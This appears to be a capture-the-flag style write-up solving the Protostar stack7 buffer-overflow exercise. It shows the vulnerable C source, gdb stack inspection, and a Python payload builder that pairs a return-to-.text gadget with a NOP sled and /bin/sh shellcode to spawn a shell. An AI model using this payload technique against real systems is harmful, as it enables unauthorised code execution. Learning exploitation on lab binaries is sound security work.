Stack7 introduces return to .text to gain code execution.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
char *getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xb0000000) == 0xb0000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
return strdup(buffer);
}
int main(int argc, char **argv)
{
getpath();
}
The metasploit tool “msfelfscan” can make searching for suitable instructions very easy, otherwise looking through objdump output will suffice.
Remember the first technique in stack6 ? The one where you “return twice” ? Turns out that is actually ret2.text which is what is needed to solve this problem, as exactly mentioned in the problem description.
First, let’s feed it our usual alphabet to see how big the buffer is, and where we can overwrite the pushed eip
.
(gdb) r < /home/user/alphabet.txt
Starting program: /opt/protostar/bin/stack7 < /home/user/alphabet.txt
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPUUUURRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
Program received signal SIGSEGV, Segmentation fault.
0x55555555 in ?? ()
Looks like the eip
is supposed to be at the UUUU
, well then let’s keep that in mind and now we set a breakpoint at the ret
.
(gdb) disas getpath
Dump of assembler code for function getpath:
...
0x08048544 <getpath+128>: ret
End of assembler dump.
(gdb) b *0x08048544
Breakpoint 1 at 0x8048544: file stack7/stack7.c, line 24.
Let’s run the program again and look at the stack.
0xbffff79c: 0x55555555 0x56565656 0x57575757 0x58585858
0xbffff7ac: 0x59595959 0x5a5a5a5a 0xbffff800 0xbffff85c
0xbffff7bc: 0xb7fe1848 0xbffff810 0xffffffff 0xb7ffeff4
0xbffff7cc: 0x080482bc 0x00000001 0xbffff810 0xb7ff0626
0xbffff7dc: 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4 0x00000000
0xbffff7ec: 0x00000000 0xbffff828 0x94e4dd29 0xbeb3cb39
Now we see our new return pointer will sit where the 0x55555555
is at (which is at 0xbffff79c
), and we need the address next to it (which is 0xbffff7a0
) to point to our nops. Let’s build the payload then!
// payloadbuilder.py
import struct
filler = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
addr_to_ret = struct.pack("I", 0x08048544)
addr_to_nops = struct.pack("I", 0xbffff7a0+50)
nopsled = "\x90"*100
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
print filler+addr_to_ret+addr_to_nops+nopsled+shellcode
Print it into a file.
user@protostar:~$ python payloadbuilder.py > payload.txt
Try it out in gdb
.
(gdb) r < /home/user/payload.txt
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/stack7 < /home/user/payload.txt
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPDRRRRSSSSTTTTD��������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS���
Breakpoint 1, 0x08048544 in getpath () at stack7/stack7.c:24
24 in stack7/stack7.c
(gdb) c
Continuing.
Breakpoint 1, 0x08048544 in getpath () at stack7/stack7.c:24
24 in stack7/stack7.c
(gdb) c
Continuing.
Executing new program: /bin/dash
Program exited normally.
Looks very promising, we hit the breakpoint twice like we should, and the shell was spawned. Let’s see how we do outside gdb
.
user@protostar:/opt/protostar/bin$ (cat /home/user/payload.txt; cat) | ./stack7
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPDRRRRSSSSTTTTD��������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS���
ls
Segmentation fault
user@protostar:/opt/protostar/bin$
Well, that’s wierd, let’s try and increase our nopsled size.
To keep it short, it didn’t work, so instead of trying to adjust the nopsled size, I tried to find a way to spawn the shellcode inside gdb
, but instead I found this. Looks like gdb
messes with our env vars, so to counter that we run these 2 commands in gdb
.
(gdb) unset env LINES
(gdb) unset env COLUMNS
Now if we look at the address of things in the stack, they changed. Let’s set the breakpoint at the ret
again and look at the stack now.
(gdb) r < /home/user/alphabet.txt
Starting program: /opt/protostar/bin/stack7 < /home/user/alphabet.txt
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPUUUURRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
Breakpoint 1, 0x08048544 in getpath () at stack7/stack7.c:24
24 stack7/stack7.c: No such file or directory.
in stack7/stack7.c
(gdb) x/24wx $esp
0xbffff7bc: 0x55555555 0x56565656 0x57575757 0x58585858
0xbffff7cc: 0x59595959 0x5a5a5a5a 0xbffff800 0xbffff87c
0xbffff7dc: 0xb7fe1848 0xbffff830 0xffffffff 0xb7ffeff4
0xbffff7ec: 0x080482bc 0x00000001 0xbffff830 0xb7ff0626
0xbffff7fc: 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4 0x00000000
0xbffff80c: 0x00000000 0xbffff848 0x0097f0d3 0x2ac026c3
So now our eip
will be at 0xbffff7bc
, which means our second eip
which point to our nops will be at 0xbffff7c0
. Let’s fix the payload.
// payloadbuilder.py
import struct
filler = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
addr_to_ret = struct.pack("I", 0x08048544)
addr_to_nops = struct.pack("I", 0xbffff7c0+50)
nopsled = "\x90"*100
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
print filler+addr_to_ret+addr_to_nops+nopsled+shellcode
Rewrite the output file.
user@protostar:~$ python payloadbuilder.py > payload.txt
Run it outside gdb
.
user@protostar:/opt/protostar/bin$ (cat /home/user/payload.txt; cat) | ./stack7
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPDRRRRSSSSTTTTD��������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS���
ls
final0 final2 format1 format3 heap0 heap2 net0 net2 net4 stack1 stack3 stack5 stack7
final1 format0 format2 format4 heap1 heap3 net1 net3 stack0 stack2 stack4 stack6
pwd
/opt/protostar/bin
Nice, btw if you still run into SIGSEGV, the addresses in .text might change too so watch out for that.
‹ Previous in Binary exploitation: Protostar - stack6 | Next in Binary exploitation: Protostar - stack (0-7) › |